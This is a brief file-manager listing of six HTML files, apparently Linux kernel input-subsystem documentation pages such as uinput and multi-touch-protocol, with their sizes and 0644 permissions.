input_kapi.html File 11.17 KB 0644
input_uapi.html File 13.82 KB 0644
multi-touch-protocol.html File 33.08 KB 0644
notifier.html File 10.37 KB 0644
uinput.html File 35.91 KB 0644
userio.html File 13.04 KB 0644
Filemanager